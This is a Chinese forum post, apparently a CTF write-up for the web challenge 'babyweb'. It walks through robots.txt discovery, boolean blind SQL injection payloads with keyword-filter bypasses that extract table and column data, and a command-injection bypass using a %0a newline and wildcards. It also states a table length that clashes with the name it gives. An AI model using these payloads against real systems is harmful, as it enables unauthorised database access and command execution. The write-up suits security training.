学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

637

积分

0

好友

8

主题

[Web] babyweb

发表于 2021-6-11 20:22:29 | 查看: 474| 回复: 0

相关题目:

♦ babyweb

本帖最后由 柒月 于 2021-8-25 18:05 编辑

打开环境发现只显示It Works。

babyweb

babyweb

f12查看源码并没有什么特别的发现,根据题目提示爬虫联想到robots协议,或利用御剑进行扫描发现robots协议可以访问。
访问robots协议发现一串地址/sd72CJl5ox6hOL9ZIukc3ADPB1HXKFyY.php。

babyweb

babyweb

访问后进入新的页面

babyweb

babyweb

输入1 and 1=1 回显正常。
输入1 and 1=2 无回显。
判断可能有sql注入点,发现并没有报错信息判断是布尔注入
通过burpsuite进行fuzz查看被过滤d的关键字。

babyweb

babyweb

burpsuite进行抓包,并传到repeater模块
由于布尔注入没有报错信息,只能通过判断语句来进行猜测。
先判断数据库名称
sql语句如下
1 %26%26 ascii(substr(database(),{},10))=ascii("{}")

1 %26%26 ascii(substr(database(),1,10))=ascii("{}")

1 %26%26 ascii(substr(database(),2,10))=ascii("{}")

1 %26%26 ascii(substr(database(),3,10))=ascii("{}")

1 %26%26 ascii(substr(database(),4,10))=ascii("{}")
判断第五位时字符为空,所以数据库名称easy
接下来同样的方法判断数据库表名

sql语句如下
1 %26%26 ascii(substr((select table_name from sys.schema_table_statistics where table_schema=database() limit {},1),{},1))=ascii("{}")

1 %26%26 ascii(substr((select table_name from sys.schema_table_statistics where table_schema=database() limit 1,1),1,1))=ascii("{}")

1 %26%26 ascii(substr((select table_name from sys.schema_table_statistics where table_schema=database() limit 1,1),2,1))=ascii("{}")

1 %26%26 ascii(substr((select table_name from sys.schema_table_statistics where table_schema=database() limit 1,1),3,1))=ascii("{}")

1 %26%26 ascii(substr((select table_name from sys.schema_table_statistics where table_schema=database() limit 1,1),4,1))=ascii("{}")

1 %26%26 ascii(substr((select table_name from sys.schema_table_statistics where table_schema=database() limit 1,1),5,1))=ascii("{}")
 
1 %26%26 ascii(substr((select table_name from sys.schema_table_statistics where table_schema=database() limit 1,1),6,1))=ascii("{}")

1 %26%26 ascii(substr((select table_name from sys.schema_table_statistics where table_schema=database() limit 1,1),7,1))=ascii("{}")
判断第一个表名时第8位字符为空,说明数据库表名只有7位
为looKkkkk_h3r6。
判断第二个表名时第6个字符为空,说明数据库表名只有5位

为users。
接下来查字段,由于这里的字段为多列所以不能用表别名order by来获取字段,
还有一个方法是
(select 0,0) <= (select * from looKkkkk_h3r6 limit 1)
先用0来判断有几个字段,当字段为两列时有回显,说明有两个字段。
下面来判断第一个字段的值,使第二列字符为'z',
(select 0,'z') <= (select * from looKkkkk_h3r6 limit 1)

这样就可以比较第一列字段,当第一列字段为0时有回显,当第一列字段为1时没有回显,则说明第一列字段值为1。
第二列也是这样比较,但是MYSQL不区分大小写,一般用binary 转二进制来比较大小写,但这里过滤了in,也就用不了binary了。

Mysql中转换类型的函数有castconvert。
翻一下官方文档,看有没有,类型转换除了字符串型数字型,还有binaryjson
再看看json,翻到字符串比较,大小写敏感 binary类型 。

babyweb

babyweb

于是
(select 1,concat(0x414141,convert(0,json)) ) < (select * from looKkkkk_h3r6 limit 1)
修改0x414141的值进行获取第二列字段为goto_ubyt0KHOLan9Bh28Rm5e3JlDjwgTCPoI_php
发现可能是个地址,进行访问,出现命令页面。

babyweb

babyweb

命令执行绕过,过滤了命令分隔符,&、|、;  等,可以用%0a(换行)绕过
Flag 被过滤了,用通配符 *

babyweb

babyweb

得出flag。。

温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
已有 1 人评分学币 理由
roger + 3 感谢您的作品,赞一个!

总评分: 学币 + 3   查看全部评分

关闭

论坛公告上一条 /1 下一条

小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

GMT+8, 2021-10-26 10:38 , Processed in 0.111377 second(s), 44 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表